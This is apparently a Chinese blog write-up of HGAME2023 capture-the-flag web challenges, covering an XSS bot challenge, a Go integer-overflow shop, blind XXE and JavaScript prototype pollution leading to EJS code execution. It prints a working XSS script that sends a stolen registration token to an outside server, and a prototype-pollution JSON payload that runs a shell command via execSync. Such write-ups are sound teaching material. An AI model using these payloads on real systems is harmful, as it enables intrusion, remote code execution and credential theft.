HGAME2023 wp


v2board

题目描述:请尝试获取Admin用户的订阅链接,flag格式为hgame{admin用户订阅链接中的token值}。

image-20230206224428482

image-20230206223941914

image-20230206223924045

image-20230206224312727

Designer

xss注入的题

首先要拿到flag就要求注册的时候post的数据为admin,而且还要是本地的ip,修改xff无果

image-20230207003404602

给的源码里的share的部分,就是在本地访问preview这个路由里的内容

image-20230207003324707

之后在preview里,过滤了一些xss的关键数据,从这里也能看出这道题就是利用xss,让本地访问的那个机器人去访问register路由,然后把得到的内容外带出来。

image-20230207003512737

接下来就是找从哪里进行xss。

在preview.ejs中

image-20230207003646161

使用了<%-,这个和<%=的区别就是不会进行html的实体编码,也就可以进行xss的操作

这里进行过滤的时候只将值清空了,但是并没有改变键,所以可以这样进行xss

image-20230207003945121

接下来就是让其访问register路由了

var xhr = new XMLHttpRequest();
xhr.open("post",'http://127.0.0.1:9090/user/register',false);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
data = {"username":"admin"};
xhr.send(JSON.stringify(data));
h = String(xhr.responseText);
url = "http://xxx:5001?token="+h;
var xhr2 = new XMLHttpRequest();
xhr2.open("get",url,false);
xhr2.send('token');

放到服务器上然后让题目本地的机器人去访问服务器上的这个文件,就会执行里面的js代码,访问本地的9090端口下的/user/register,然后把返回的内容以参数的形式发送到服务器上

作为键或者作为值都行,因为并没有被过滤的关键字

image-20230207004326111

image-20230207002949668

Gopher Shop

题目描述:今天是大年初二!兔兔迈着开心的步伐走到了一教,据说每逢寒假HGAME期间,300b就会有Vidar大商场,每个进入商场的同学都可以领取10个Vidar币。兔兔在一家叫Gopher Shop的商店面前停下了脚步,Gopher?听说协会的Web手们都会一点Go,也许这是协会学长开的吧。望着橱窗里的商品,攥着手里的10个Vidar币,兔兔走进了商店...

考察go语言uint类型的整数溢出问题

uint类型在64位机器上的最大值为18446744073709551615,最小值为0,超出的部分就会溢出

购买部分逻辑如下:

image-20230207163300926

这里uint(number)*price就有可能导致溢出的产生

若购买1844674407370955162个苹果,与价格相乘后会变为18446744073709551620,导致溢出变为4(0,1,2,3,4实际上是溢出了五)

这时4小于我们原有的10硬币,就可以买到1844674407370955162个苹果,然后再卖出就可以有钱买flag了(卖的时候也要注意溢出

image-20230207164534678

image-20230207164611751

钱不够就多买几次再卖出去,这里前端显示的内容和实际的数量不一样,因为前端把后边的部分舍了。

image-20230207165210688

Tell Me

Just tell me your thoughts

xxe的题目

标准的无回显xxe

image-20230207213715388

在自己服务器上搭个恶意的dtd文件

image-20230207213808758

然后在提交的时候外部引入这个文件

这里是直接报错把提交的内容显示出来了,如果没显示就在服务器上监听一下端口就行。

image-20230207213928767

Shared Diary

ek1ng给协会成员写了一个在线共享日记本,不论是谁只要知道密码,都可以在上面记录自己的小秘密。不过好像他的js学的并不好导致无意中引入了漏洞,看来js也有很多安全问题。

看见js第一时间想到的就应该是原型链污染

merge函数,存在原型链污染

image-20230207214312053

但是这里__proto__被过滤了,可以使用.constructor.prototype来替代

image-20230207214501527

这里表示能接收json类型的参数

image-20230207215143916

这里我们先把角色污染为admin试一下

image-20230207215536438

登陆成功,但是还是没有flag,根据给的源码可以猜测这里应该还需要利用一个ejs的漏洞才能拿到flag

image-20230207215730542

两种方式,一种是ejs的模板注入,可以插⼊ <%- %> 标签来执⾏任意js,能够直接完成RCE。

image-20230207221140659

image-20230207220748847

还有一种就是借助原型链污染实现ejs的rce

{"constructor":{"prototype":{"role":"admin","client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');"}},"username":"1"

image-20230207224728259image-20230207224746850

参考文章:

https://www.anquanke.com/post/id/236354

https://blog.vvbbnn00.cn/archives/hgame2023week4-bu-fen-writeup


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录